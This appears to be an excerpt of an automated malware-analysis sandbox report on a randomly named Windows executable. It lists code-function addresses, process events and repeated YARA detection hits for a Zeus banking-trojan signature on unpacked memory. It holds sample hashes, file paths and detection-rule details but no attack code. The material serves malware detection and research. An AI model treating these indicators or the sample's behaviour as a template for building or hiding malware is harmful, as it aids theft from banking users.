    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_022A10F013_2_022A10F0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_022970D013_2_022970D0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_0227E97013_2_0227E970
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_022A961313_2_022A9613
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_0229565013_2_02295650
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_022A2EDD13_2_022A2EDD
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_022906D013_2_022906D0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_0229C6D013_2_0229C6D0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_02269F5013_2_02269F50
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_02263FA013_2_02263FA0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_0229DFA013_2_0229DFA0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_0229F79013_2_0229F790
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_0226F7E013_2_0226F7E0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_022A17C013_2_022A17C0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_02295C3013_2_02295C30
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_0229EC0013_2_0229EC00
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_02297C1013_2_02297C10
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_02269D3013_2_02269D30
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010A893016_2_010A8930
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010DD80016_2_010DD800
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010D681016_2_010D6810
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010D483016_2_010D4830
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010A8B5016_2_010A8B50
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010DE39016_2_010DE390
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010A2BA016_2_010A2BA0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010DCBA016_2_010DCBA0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010E03C016_2_010E03C0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010AE3E016_2_010AE3E0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010E821316_2_010E8213
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010D425016_2_010D4250
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010CF2D016_2_010CF2D0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010DB2D016_2_010DB2D0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010BD57016_2_010BD570
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010DA48016_2_010DA480
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010E44A016_2_010E44A0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010D5CD016_2_010D5CD0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010DFCF016_2_010DFCF0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010DBF4016_2_010DBF40
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010C878016_2_010C8780
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010E178016_2_010E1780
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010DF62016_2_010DF620
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010D663016_2_010D6630
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_0105E97016_2_0105E970
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_0107B88016_2_0107B880
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010858A016_2_010858A0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010770D016_2_010770D0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010810F016_2_010810F0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_0107D34016_2_0107D340
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_01069B8016_2_01069B80
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_01080A2016_2_01080A20
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_01077A3016_2_01077A30
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_01049D3016_2_01049D30
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_0107EC0016_2_0107EC00
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_01077C1016_2_01077C10
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_01075C3016_2_01075C30
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_01049F5016_2_01049F50
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_0107F79016_2_0107F790
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_01043FA016_2_01043FA0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_0107DFA016_2_0107DFA0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010817C016_2_010817C0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_0104F7E016_2_0104F7E0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_0108961316_2_01089613
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_0107565016_2_01075650
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_01082EDD16_2_01082EDD
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010706D016_2_010706D0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_0107C6D016_2_0107C6D0
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeProcess token adjusted: SecurityJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6644 -s 744
    Source: 1fWgBXPgiT.exeStatic PE information: Number of sections : 13 > 10
    Source: svchost.exe.0.drStatic PE information: Number of sections : 13 > 10
    Source: 1fWgBXPgiT.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
    Source: 23.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.1200000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.63.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.77.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.2700000.55.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.2700000.54.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.889400.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 19.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.2572000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 19.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.2572000.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.f2c0000.53.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.85.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.76.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.62.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.80.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 33.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.22d2000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.68.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.63.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.88a000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
